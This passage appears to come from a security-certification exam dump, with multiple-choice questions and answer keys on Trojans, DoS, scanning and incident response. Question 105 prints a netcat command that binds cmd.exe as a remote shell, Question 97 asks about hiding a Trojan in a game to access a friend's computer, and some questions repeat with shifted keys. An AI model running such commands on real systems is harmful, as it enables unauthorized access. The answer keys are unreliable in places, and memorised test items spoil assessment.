D. Xmas tree
Answer: C (LEAVE A REPLY)
Explanation/Reference:

NEW QUESTION: 94
Which of the following is a reason to implement security logging on a DNS server?
A. For measuring a DNS server's performance
B. For monitoring unauthorized zone transfer
C. For preventing malware attacks on a DNS server
D. For recording the number of queries resolved
Answer: B (LEAVE A REPLY)

NEW QUESTION: 95
Which of the following can be used as a Trojan vector to infect an information system? Each correct answer represents a complete solution. Choose all that apply.
A. NetBIOS remote installation
B. ActiveX controls, VBScript, and Java scripts
C. Spywares and adware
D. Any fake executable
Answer: A,B,C,D (LEAVE A REPLY)

NEW QUESTION: 96
Victor works as a professional Ethical Hacker for SecureEnet Inc. He wants to scan the wireless network of the company. He uses a tool that is a free open-source utility for network exploration. The tool uses raw IP packets to determine the following:
* What ports are open on our network systems.
* What hosts are available on the network.
* Identify unauthorized wireless access points.
* What services (application name and version) those hosts are offering.
* What operating systems (and OS versions) they are running.
* What type of packet filters/firewalls are in use.
Which of the following tools is Victor using?
A. Sniffer
B. Nmap
C. Nessus
D. Kismet
Answer: B (LEAVE A REPLY)

NEW QUESTION: 97
You want to add a netbus Trojan in the chess.exe game program so that you can gain remote access to a friend's computer. Which of the following tools will you use to accomplish the task? Each correct answer represents a complete solution. Choose all that apply.
A. Tripwire
B. Yet Another Binder
C. Beast
D. Pretator Wrapper
Answer: B,D (LEAVE A REPLY)

NEW QUESTION: 98
Which of the following types of attacks is only intended to make a computer resource unavailable to its users?
A. Replay attack
B. Denial of Service attack
C. Land attack
D. Teardrop attack
Answer: B (LEAVE A REPLY)

NEW QUESTION: 99
You work as a Security Administrator for Net Perfect Inc. The company has a Windows-based network. You want to use a scanning technique which works as a reconnaissance attack. The technique should direct to a specific host or network to determine the services

that the host offers. Which of the following scanning techniques can you use to accomplish the task?

A. IDLE scan

B. Nmap

C. Host port scan

D. SYN scan

Answer: C (LEAVE A REPLY)

NEW QUESTION: 100

Which of the following are the automated tools that are used to perform penetration testing? Each correct answer represents a complete solution. Choose two.

A. GFI LANguard

B. Nessus

C. Pwdump

D. EtherApe

Answer: A,B (LEAVE A REPLY)

NEW QUESTION: 101

Which of the following techniques does an attacker use to sniff data frames on a local area network and modify the traffic?

A. MAC spoofing

B. IP address spoofing

C. Email spoofing

D. ARP spoofing

Answer: (SHOW ANSWER)

NEW QUESTION: 102

Which of the following controls is described in the statement given below?

"It ensures that the enforcement of organizational security policy does not rely on voluntary web application user compliance. It secures information by assigning sensitivity labels on information and comparing this to the level of security a user is operating at."

A. Discretionary Access Control

B. Role-based Access Control

C. Attribute-based Access Control

D. Mandatory Access Control

Answer: D (LEAVE A REPLY)

NEW QUESTION: 103

In which of the following attacks does an attacker spoof the source address in IP packets that are sent to the victim?

A. Backscatter

B. SQL injection
C. DDoS
D. Dos
Answer: A (LEAVE A REPLY)

NEW QUESTION: 104
Which of the following are countermeasures to prevent unauthorized database access attacks? Each correct answer represents a complete solution. Choose all that apply.
A. Input sanitization
B. Applying strong firewall rules
C. Session encryption
D. Removing all stored procedures
Answer: A,B,C,D (LEAVE A REPLY)

NEW QUESTION: 105
You execute the following netcat command:
c:\target\nc -1 -p 53 -d -e cmd.exe
What action do you want to perform by issuing the above command?
A. Listen the incoming data and performing port scanning
B. Listen the incoming traffic on port 53 and execute the remote shell
C. Capture data on port 53 and performing banner grabbing
D. Capture data on port 53 and delete the remote shell
Answer: B (LEAVE A REPLY)

NEW QUESTION: 106
Which of the following protocols is a maintenance protocol and is normally considered a part of the IP layer, but has also been used to conduct denial-of-service attacks?
A. L2TP
B. NNTP
C. ICMP
D. TCP
Answer: C (LEAVE A REPLY)

NEW QUESTION: 107
You have forgotten your password of an online shop. The web application of that online shop asks you to enter your email so that they can send you a new password. You enter your email
you@gmail.com
And press the submit button.
The Web application displays the server error. What can be the reason of the error?
A. You have entered any special character in email.
B. Your internet connection is slow.
C. The remote server is down.
D. Email entered is not valid.
Answer: A (LEAVE A REPLY)

NEW QUESTION: 108
Which of the following statements is true about a Trojan engine?
A. It specifies the signatures that keep a watch for a host or a network sending multiple packets to a single host or a single network.
B. It specifies events that occur in a related manner within a sliding time interval.
C. It limits the system resource usage.
D. It analyzes the nonstandard protocols, such as TFN2K and BO2K.
Answer: D (LEAVE A REPLY)

NEW QUESTION: 109
Which of the following can be used as a countermeasure against the SQL injection attack? Each correct answer represents a complete solution. Choose two.
A. Prepared statement
B. session_regenerate_id()
C. mysql_escape_string()
D. mysql_real_escape_string()
Answer: (SHOW ANSWER)

NEW QUESTION: 110
Which of the following types of malware does not replicate itself but can spread only when the circumstances are beneficial?
A. Blended threat
B. Mass mailer
C. Worm
D. Trojan horse

Answer: D (LEAVE A REPLY)

NEW QUESTION: 111
Which of the following penetration testing phases involves gathering data from whois, DNS, and network scanning, which helps in mapping a target network and provides valuable information regarding the operating system and applications running on the systems?
A. On-attack phase
B. Pre-attack phase
C. Post-attack phase
D. Attack phase
Answer: B (LEAVE A REPLY)

NEW QUESTION: 112
Adam works as a Security Administrator for Umbrella Inc. A project has been assigned to him to test the network security of the company. He created a webpage to discuss the progress of the tests with employees who were interested in following the test. Visitors were allowed to click on a company's icon to mark the progress of the test. Adam successfully embeds a keylogger. He also added some statistics on the webpage. The firewall protects the network well and allows strict Internet access. How was security compromised and how did the firewall respond?
A. Security was not compromised as the webpage was hosted internally.
B. Security was compromised as keylogger is invisible for firewall.
C. The attack was Cross Site Scripting and the firewall blocked it.
D. The attack was social engineering and the firewall did not detect it.
Answer: D (LEAVE A REPLY)

NEW QUESTION: 113
You are the Administrator for a corporate network. You are concerned about denial of service attacks.
Which of the following would be the most help against Denial of Service (DOS) attacks?
A. Packet filtering firewall
B. Network surveys.
C. Honey pot
D. Stateful Packet Inspection (SPI) firewall
Answer: D (LEAVE A REPLY)

NEW QUESTION: 114
Alice wants to prove her identity to Bob. Bob requests her password as proof of identity, which Alice dutifully provides (possibly after some transformation like a hash function); meanwhile, Eve is eavesdropping the conversation and keeps the password. After the

interchange is over, Eve connects to Bob posing as Alice; when asked for a proof of identity, Eve sends Alice's password read from the last session, which Bob accepts. Which of the following attacks is being used by Eve?

A. Firewalking

B. Session fixation

C. Cross site scripting

D. Replay

Answer: D (LEAVE A REPLY)

NEW QUESTION: 115

Network mapping provides a security testing team with a blueprint of the organization. Which of the following steps is NOT a part of manual network mapping?

A. Performing Neotracerouting

B. Gathering private and public IP addresses

C. Banner grabbing

D. Collecting employees information

Answer: A (LEAVE A REPLY)

NEW QUESTION: 116

John works as an Ethical Hacker. He wants to find out the ports that are open in Examkiller's server using a port scanner. However, he does not want to establish a full TCP connection.

Which of the following scanning techniques will he use to accomplish this task?

A. TCP SYN/ACK

B. Xmas tree

C. TCP SYN

D. TCP FIN

Answer: C (LEAVE A REPLY)

NEW QUESTION: 117

Mark works as a Network Administrator for Perfect Inc. The company has both wired and wireless networks.

An attacker attempts to keep legitimate users from accessing services that they require. Mark uses IDS/IPS sensors on the wired network to mitigate the attack. Which of the following attacks best describes the attacker's intentions?

A. Reconnaissance attack

B. DoS attack

C. Land attack

D. Internal attack

Answer: B (LEAVE A REPLY)

NEW QUESTION: 118
Which of the following commands can be used for port scanning?
A. nc -z
B. nc -t
C. nc -w
D. nc -g
Answer: (SHOW ANSWER)

NEW QUESTION: 119
Adam works as a Security Administrator for Umbrella Inc. A project has been assigned to him to test the network security of the company. He created a webpage to discuss the progress of the tests with employees who were interested in following the test. Visitors were allowed to click on a company's icon to mark the progress of the test. Adam successfully embeds a keylogger. He also added some statistics on the webpage. The firewall protects the network well and allows strict Internet access.
How was security compromised and how did the firewall respond?
A. Security was compromised as keylogger is invisible for firewall.
B. Security was not compromised as the webpage was hosted internally.
C. The attack was social engineering and the firewall did not detect it.
D. The attack was Cross Site Scripting and the firewall blocked it.
Answer: C (LEAVE A REPLY)

NEW QUESTION: 120
In which of the following malicious hacking steps does email tracking come under?
A. Maintaining Access
B. Gaining access
C. Reconnaissance
D. Scanning
Answer: (SHOW ANSWER)

NEW QUESTION: 121
Mark works as a Network Administrator for NetTech Inc. The network has 150 Windows 2000 Professional client computers and four Windows 2000 servers. All the client computers are able to connect to the Internet. Mark is concerned about malware infecting the client computers through the Internet. What will Mark do to protect the client computers from malware?
Each correct answer represents a complete solution. Choose two.
A. Prevent users of the client computers from executing any programs.
B. Educate users of the client computers about the problems arising due to malware.
C. Assign Read-Only permission to the users for accessing the hard disk drives of the client computers.

D. Educate users of the client computers to avoid malware.
Answer: B,D (LEAVE A REPLY)

NEW QUESTION: 122
In which of the following attacks does an attacker create the IP packets with a forged (spoofed) source IP address with the purpose of concealing the identity of the sender or impersonating another computing system?
A. IP address spoofing
B. Rainbow attack
C. Polymorphic shell code attack
D. Cross-site request forgery
Answer: A (LEAVE A REPLY)

NEW QUESTION: 123
Which of the following is the method of hiding data within another media type such as graphic or document?
A. Spoofing
B. Packet sniffing
C. Cryptanalysis
D. Steganography
Answer: (SHOW ANSWER)

NEW QUESTION: 124
Which of the following statements about buffer overflow are true?
Each correct answer represents a complete solution. Choose two.
A. It is a situation that occurs when a storage device runs out of space.
B. It can improve application performance.
C. It is a situation that occurs when an application receives more data than it is configured to accept.
D. It can terminate an application.
Answer: (SHOW ANSWER)

NEW QUESTION: 125
Which of the following types of attacks is the result of vulnerabilities in a program due to poor programming techniques?
A. Evasion attack
B. Buffer overflow attack
C. Ping of death attack
D. Denial-of-Service (DoS) attack
Answer: B (LEAVE A REPLY)

NEW QUESTION: 126
Adam works as a Security Administrator for Umbrella Inc. A project has been assigned to him to secure access to the network of the company from all possible entry points. He segmented the network into several subnets and installed firewalls all over the network. He has placed very stringent rules on all the firewalls, blocking everything in and out except the ports that must be used. He does need to have port 80 open since his company hosts a website that must be accessed from the Internet. Adam is still worried about the programs like Hping2 that can get into a network through covert channels.
Which of the following is the most effective way to protect the network of the company from an attacker using Hping2 to scan his internal network?
A. Block all outgoing traffic on port 21
B. Block ICMP type 13 messages
C. Block all outgoing traffic on port 53
D. Block ICMP type 3 messages
Answer: B (LEAVE A REPLY)

NEW QUESTION: 127
Which of the following is used to gather information about a remote network protected by a firewall?
A. Firewalking
B. Warchalking
C. Wardialing
D. Firechalking
Answer: (SHOW ANSWER)

NEW QUESTION: 128
Which of the following attacks is specially used for cracking a password?
A. Vulnerability attack
B. Dictionary attack
C. PING attack
D. DoS attack
Answer: B (LEAVE A REPLY)

NEW QUESTION: 129
Which of the following are the rules by which an organization operates?
A. Manuals
B. Acts
C. Rules
D. Policies
Answer: D (LEAVE A REPLY)

NEW QUESTION: 130
Which of the following attacks involves multiple compromised systems to attack a single target?
A. Dictionary attack
B. DDoS attack
C. Replay attack
D. Brute force attack
Answer: B (LEAVE A REPLY)

NEW QUESTION: 131
Which of the following is a type of computer security vulnerability typically found in Web applications that allow code injection by malicious Web users into the Web pages viewed by other users?
A. Cross-site scripting
B. SID filtering
C. Cookie poisoning
D. Privilege Escalation
Answer: A (LEAVE A REPLY)

NEW QUESTION: 132
Which of the following is the best method of accurately identifying the services running on a victim host?
A. Use of the manual method of telnet to each of the open ports.
B. Use of a port scanner to scan each port to confirm the services running.
C. Use of hit and trial method to guess the services and ports of the victim host.
D. Use of a vulnerability scanner to try to probe each port to verify which service is running.
Answer: (SHOW ANSWER)

NEW QUESTION: 133
You are an Incident manager in Orangesect.Inc. You have been tasked to set up a new extension of your enterprise. The networking, to be done in the new extension, requires

different types of cables and an appropriate policy that will be decided by you. Which of the following stages in the Incident handling process involves your decision making?

A. Containment

B. Identification

C. Eradication

D. Preparation

Answer: D (LEAVE A REPLY)

NEW QUESTION: 134

Brutus is a password cracking tool that can be used to crack the following authentications:

HTTP (Basic Authentication)

HTTP (HTML Form/CGI)

POP3 (Post Office Protocol v3)

FTP (File Transfer Protocol)

SMB (Server Message Block)

Telnet

Which of the following attacks can be performed by Brutus for password cracking? Each correct answer represents a complete solution. Choose all that apply.

A. Dictionary attack

B. Hybrid attack

C. Man-in-the-middle attack

D. Brute force attack

E. Replay attack

Answer: A,B,D (LEAVE A REPLY)

NEW QUESTION: 135

Which of the following are the primary goals of the incident handling team?

Each correct answer represents a complete solution. Choose all that apply.

A. Freeze the scene.

B. Repair any damage caused by an incident.

C. Inform higher authorities.

D. Prevent any further damage.

Answer: A,B,D (LEAVE A REPLY)

NEW QUESTION: 136

In which of the following attacks does the attacker gather information to perform an access attack?

A. Land attack

B. Vulnerability attack

C. Reconnaissance attack
D. DoS attack
Answer: C (LEAVE A REPLY)

NEW QUESTION: 137
Which of the following statements are true about session hijacking?
Each correct answer represents a complete solution. Choose all that apply.
A. It is the exploitation of a valid computer session to gain unauthorized access to information or services in a computer system.
B. TCP session hijacking is when a hacker takes over a TCP session between two machines.
C. It is used to slow the working of victim's network resources.
D. Use of a long random number or string as the session key reduces session hijacking.
Answer: (SHOW ANSWER)

NEW QUESTION: 138
Which of the following tasks can be performed by using netcat utility?
Each correct answer represents a complete solution. Choose all that apply.
A. Firewall testing
B. Creating a Backdoor
C. Port scanning and service identification
D. Checking file integrity
Answer: (SHOW ANSWER)

NEW QUESTION: 139
You discover that all available network bandwidth is being used by some unknown service. You discover that UDP packets are being used to connect the echo service on one machine to the chargen service on another machine. What kind of attack is this?
A. Evil Twin
B. Denial of Service
C. Virus
D. Smurf

Answer: B (LEAVE A REPLY)

NEW QUESTION: 140
You work as a Network Administrator for Tech Perfect Inc. The company has a TCP/IPbased network. An attacker uses software that keeps trying password combinations until the correct password is found. Which type of attack is this?
A. Brute Force
B. Denial-of-Service
C. Man-in-the-middle
D. Vulnerability
Answer: (SHOW ANSWER)

NEW QUESTION: 141
Which of the following is the most common vulnerability that can affect desktop applications written in native code?
A. Buffer overflow
B. DDoS attack
C. Malware
D. SpyWare
Answer: (SHOW ANSWER)

NEW QUESTION: 142
You check performance logs and note that there has been a recent dramatic increase in the amount of broadcast traffic. What is this most likely to be an indicator of?
A. Virus
B. DoS attack
C. Syn flood
D. Misconfigured router
Answer: B (LEAVE A REPLY)

NEW QUESTION: 143
Who are the primary victims of smurf attacks on the contemporary Internet system?
A. Mail servers are the primary victims to smurf attacks
B. FTP servers are the primary victims to smurf attacks
C. SMTP servers are the primary victims to smurf attacks
D. IRC servers are the primary victims to smurf attacks
Answer: D (LEAVE A REPLY)

NEW QUESTION: 144
Which of the following US Acts emphasized a "risk-based policy for cost-effective security" and makes mandatory for agency program officials, chief information officers, and

inspectors general (IGs) to conduct annual reviews of the agency's information security program and report the results to Office of Management and Budget?
A. The Electronic Communications Privacy Act of 1986 (ECPA)
B. The Equal Credit Opportunity Act (ECOA)
C. Federal Information Security Management Act of 2002 (FISMA)
D. The Fair Credit Reporting Act (FCRA)
Answer: C (LEAVE A REPLY)

NEW QUESTION: 145
You work as a Network Administrator for Net Perfect Inc. The company has a Windows-based network. The company wants to fix potential vulnerabilities existing on the tested systems. You use Nessus as a vulnerability scanning program to fix the vulnerabilities.
Which of the following vulnerabilities can be fixed using Nessus?
Each correct answer represents a complete solution. Choose all that apply.
A. Misconfiguration (e.g. open mail relay, missing patches, etc.)
B. Vulnerabilities that allow a remote cracker to control sensitive data on a system
C. Vulnerabilities that allow a remote cracker to access sensitive data on a system
D. Vulnerabilities that help in Code injection attacks
Answer: (SHOW ANSWER)

NEW QUESTION: 146
Which of the following applications is an example of a data-sending Trojan?
A. SubSeven
B. eBlaster
C. Firekiller 2000
D. Senna Spy Generator
Answer: B (LEAVE A REPLY)

NEW QUESTION: 147
Which of the following are open-source vulnerability scanners?
A. Hackbot
B. Nikto
C. Nessus
D. NetRecon
Answer: A,B,C (LEAVE A REPLY)

NEW QUESTION: 148
You work as a Network Administrator in the SecureTech Inc. The SecureTech Inc. is using Linux-based server.

Recently, you have updated the password policy of the company in which the server will disable passwords after four trials. What type of attack do you want to stop by enabling this policy?

A. Replay

B. Brute force

C. Cookie poisoning

D. XSS

Answer: (SHOW ANSWER)

NEW QUESTION: 149

You work as a Network Administrator for Marioxnet Inc. You have the responsibility of handling two routers with BGP protocol for the enterprise's network. One of the two routers gets flooded with an unexpected number of data packets, while the other router starves with no packets reaching it. Which of the following attacks can be a potential cause of this?

A. Denial-of-Service

B. Spoofing

C. Eavesdropping

D. Packet manipulation

Answer: (SHOW ANSWER)

NEW QUESTION: 150

Which of the following steps of incident response is steady in nature?

A. Eradication

B. Preparation

C. Containment

D. Recovery

Answer: B (LEAVE A REPLY)

NEW QUESTION: 151

In the DNS Zone transfer enumeration, an attacker attempts to retrieve a copy of the entire zone file for a domain from a DNS server. The information provided by the DNS zone can help an attacker gather user names, passwords, and other valuable information. To attempt a zone transfer, an attacker must be connected to a DNS server that is the authoritative server for that zone. Besides this, an attacker can launch a Denial of Service attack against the zone's DNS servers by flooding them with a lot of requests. Which of the following tools can an attacker use to perform a DNS zone transfer?

Each correct answer represents a complete solution. Choose all that apply.

A. Dig

B. NSLookup

C. Host

D. DSniff

Answer: (SHOW ANSWER)

NEW QUESTION: 152
Which of the following are types of access control attacks?
Each correct answer represents a complete solution. Choose all that apply.
A. Brute force attack
B. Dictionary attack
C. Spoofing
D. Mail bombing
Answer: (SHOW ANSWER)

NEW QUESTION: 153
Which of the following functions can you use to mitigate a command injection attack?
Each correct answer represents a part of the solution. Choose all that apply.
A. escapeshellcmd()
B. strip_tags()
C. escapeshellarg()
D. htmlentities()
Answer: A,C (LEAVE A REPLY)

NEW QUESTION: 154
You run the following bash script in Linux:
for i in 'cat hostlist.txt' ;do
nc -q 2 -v $i 80 < request.txt done
Where, hostlist.txt file contains the list of IP addresses and request.txt is the output file.
Which of the following tasks do you want to perform by running this script?
A. You want to perform port scanning to the hosts given in the IP address list.
B. You want to transfer file hostlist.txt to the hosts given in the IP address list.
C. You want to put nmap in the listen mode to the hosts given in the IP address list.
D. You want to perform banner grabbing to the hosts given in the IP address list.
Answer: (SHOW ANSWER)

NEW QUESTION: 155
The IT administrator wants to implement a stronger security policy. What are the four most important security priorities for PassGuide Software Systems Pvt. Ltd.?
A. Implementing Certificate services on Texas office.
B. Ensuring secure authentication.
C. Providing secure communications between Washington and the headquarters office.
D. Providing secure communications between the overseas office and the headquarters.
E. Protecting employee data on portable computers.
F. Preventing unauthorized network access.
G. Providing two-factor authentication.
H. Preventing denial-of-service attacks.
Answer: B,D,E,F (LEAVE A REPLY)

NEW QUESTION: 156
Which of the following tools can be used to detect the steganography?
A. Blindside
B. Snow
C. Dskprobe
D. ImageHide
Answer: C (LEAVE A REPLY)

NEW QUESTION: 157
Adam works as a Network Administrator. He wants to prevent the network from DOS attacks. Which of the following is most useful against DOS attacks?
A. Distributive firewall
B. Honey Pot
C. SPI
D. Internet bot
Answer: C (LEAVE A REPLY)

NEW QUESTION: 158
CORRECT TEXT
Fill in the blank with the appropriate term.
_____is the practice of monitoring and potentially restricting the flow of information outbound from one network to another
Answer:
Egress filtering

NEW QUESTION: 159

You are hired as a Database Administrator for Jennifer Shopping Cart Inc. You monitor the server health through the System Monitor and found that there is a sudden increase in the number of logins. Which of the following types of attack has occurred?
A. Worm
B. Virus
C. Injection
D. Denial-of-service
Answer: D (LEAVE A REPLY)

NEW QUESTION: 160
Which of the following is the Web 2.0 programming methodology that is used to create Web pages that are dynamic and interactive?
A. XML
B. UML
C. Ajax
D. RSS
Answer: C (LEAVE A REPLY)

NEW QUESTION: 161
Your friend plans to install a Trojan on your computer. He knows that if he gives you a new version of chess.exe, you will definitely install the game on your computer. He picks up a Trojan and joins it to chess.exe. The size of chess.exe was 526,895 bytes originally, and after joining this chess file to the Trojan, the file size increased to 651,823 bytes. When he gives you this new game, you install the infected chess.exe file on your computer. He now performs various malicious tasks on your computer remotely. But you suspect that someone has installed a Trojan on your computer and begin to investigate it. When you enter the netstat command in the command prompt, you get the following results:
C:\WINDOWS>netstat -an | find "UDP" UDP IP_Address:31337 *:*
Now you check the following registry address:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServic es
In the above address, you notice a 'default' key in the 'Name' field having " .exe" value in the corresponding 'Data' field. Which of the following Trojans do you think your friend may have installed on your computer on the basis of the above evidence?
A. Donald Dick
B. Tini
C. Qaz
D. Back Orifice
Answer: D (LEAVE A REPLY)

NEW QUESTION: 162

You discover that your network routers are being flooded with broadcast packets that have the return address of one of the servers on your network. This is resulting in an overwhelming amount of traffic going back to that server and flooding it. What is this called?

A. Blue jacking
B. Syn flood
C. Smurf attack
D. IP spoofing
Answer: C (LEAVE A REPLY)

NEW QUESTION: 163
Which of the following applications is NOT used for passive OS fingerprinting?

A. Satori
B. Networkminer
C. Nmap
D. p0f
Answer: (SHOW ANSWER)